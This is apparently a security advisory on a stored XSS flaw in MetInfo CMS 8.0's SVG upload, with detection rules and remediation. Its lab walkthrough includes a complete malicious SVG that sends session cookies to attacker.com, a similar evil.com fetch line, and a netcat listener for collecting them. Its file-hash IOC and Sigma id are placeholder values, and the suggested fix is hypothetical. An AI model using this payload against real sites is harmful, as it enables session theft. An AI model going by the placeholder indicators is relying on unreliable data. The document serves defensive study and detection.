CVE-2025-60454

Executive Summary

CVE-2025-60454 is a stored Cross-Site Scripting (XSS) vulnerability in MetInfo CMS version 8.0. The flaw resides in the image management module (app/system/img/admin/img_admin.class.php), allowing authenticated attackers with upload privileges to inject malicious JavaScript via crafted SVG files. When the uploaded SVG is accessed by any user (including administrators), the embedded script executes in the victim's browser context. This can lead to session hijacking, credential theft, or defacement. No official patch has been released as of this report.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with upload rights)
• User Interaction: Required (victim must view the SVG)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low (limited data exposure)
• Integrity Impact: Low (limited modification)
• Availability Impact: None
• Threat Level: Medium – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability is triggered in the image upload functionality of MetInfo CMS 8.0. The application fails to sanitize SVG files during upload, allowing attackers to embed arbitrary JavaScript within SVG elements (e.g., <script> tags or event handlers like onload). The file is stored on the server and served with an image/svg+xml MIME type. When a victim accesses the SVG URL, the browser executes the embedded script in the context of the MetInfo domain.

Root Cause: The img_admin.class.php component does not validate the content of uploaded SVG files. It only checks file extension and MIME type, but SVG files can contain executable scripts.

Attack Flow:

1. Attacker logs in with a low-privileged account that has image upload permissions.
2. Attacker crafts an SVG file containing malicious JavaScript (e.g., fetch('https://evil.com/steal?cookie='+document.cookie)).
3. Attacker uploads the SVG via the image management module.
4. The SVG is stored and accessible via a URL like http://target.com/upload/image/evil.svg.
5. Attacker lures a victim (e.g., admin) to visit the SVG URL.
6. The victim's browser executes the JavaScript, exfiltrating session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (MetInfo 8.0 - app/system/img/admin/img_admin.class.php):

// No content validation for SVG files
public function upload() {
    $file = $_FILES['img'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['jpg', 'png', 'gif', 'svg'])) {
        move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
        // No sanitization of SVG content
    }
}

Patched Code (Hypothetical fix):

public function upload() {
    $file = $_FILES['img'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (in_array($ext, ['jpg', 'png', 'gif', 'svg'])) {
        if ($ext === 'svg') {
            $content = file_get_contents($file['tmp_name']);
            // Remove script tags and event handlers
            $content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
            $content = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $content);
            file_put_contents(UPLOAD_PATH . $file['name'], $content);
        } else {
            move_uploaded_file($file['tmp_name'], UPLOAD_PATH . $file['name']);
        }
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• MetInfo CMS 8.0 running on a local lab (e.g., Docker or XAMPP).
• Low-privileged user account with image upload permissions.
• Attacker-controlled server to receive exfiltrated data.

Step 1: Craft Malicious SVG Create evil.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" fill="red"/>
</svg>

Step 2: Upload SVG

• Log in to MetInfo CMS as the low-privileged user.
• Navigate to the image management module.
• Upload evil.svg.

Step 3: Trigger Execution

• Obtain the URL of the uploaded SVG (e.g., http://target.com/upload/image/evil.svg).
• Send the link to a victim (e.g., admin) via social engineering.
• When the victim visits the URL, the script executes and sends cookies to the attacker's server.

Step 4: Capture Exfiltrated Data On the attacker server, run:

nc -lvnp 80

Or set up a simple HTTP server to log requests.

Blue Team

Detection:

• Monitor for unusual SVG uploads with suspicious content (e.g., <script> tags).
• Check web server logs for requests to SVG files followed by outbound connections to unknown domains.
• Use WAF rules to block SVG files containing JavaScript.

Hunting:

• Search for SVG files in the upload directory that contain <script> or event handlers.
• Review access logs for GET /upload/image/*.svg requests from non-admin IPs.

Containment:

• Immediately remove any suspicious SVG files from the server.
• Restrict upload permissions to trusted users only.
• Implement content security policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • evil.svg: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing ?cookie= in the query string.
• File Paths:
  • /upload/image/*.svg (any SVG file with embedded scripts)
• Log Entries:
  • Web server logs showing GET /upload/image/evil.svg followed by GET /steal?cookie=...

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_XSS {
    meta:
        description = "Detects SVG files with embedded JavaScript (CVE-2025-60454)"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60454"
    strings:
        $script_tag = /<script\b[^>]*>.*?<\/script>/is
        $on_event = /\bon\w+\s*=\s*"[^"]*"/i
        $xml_header = "<?xml"
    condition:
        $xml_header and ($script_tag or $on_event)
}

Sigma Rule

title: Suspicious SVG Upload with Embedded Script
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects upload of SVG files containing JavaScript (CVE-2025-60454)
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: '*/upload/*'
        http.content_type: 'image/svg+xml'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60454 - Malicious SVG Upload"; flow:to_server; content:"POST"; http_method; content:"/upload/"; http_uri; content:"image/svg+xml"; http_content_type; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the image management module until a patch is available.
2. Implement input validation to strip <script> tags and event handlers from SVG files.
3. Apply Content Security Policy (CSP) headers to block inline scripts:

   Header set Content-Security-Policy "default-src 'self'; script-src 'none';"
   

4. Restrict upload permissions to only trusted administrators.

Long-term Fix:

• Upgrade to a patched version of MetInfo CMS when available.
• Use a Web Application Firewall (WAF) to block malicious SVG uploads.
• Conduct regular security audits of file upload functionality.

Workaround:

• Convert uploaded SVG files to PNG using a server-side library (e.g., ImageMagick) to strip scripts.

Valters IT
Securing Digital Frontiers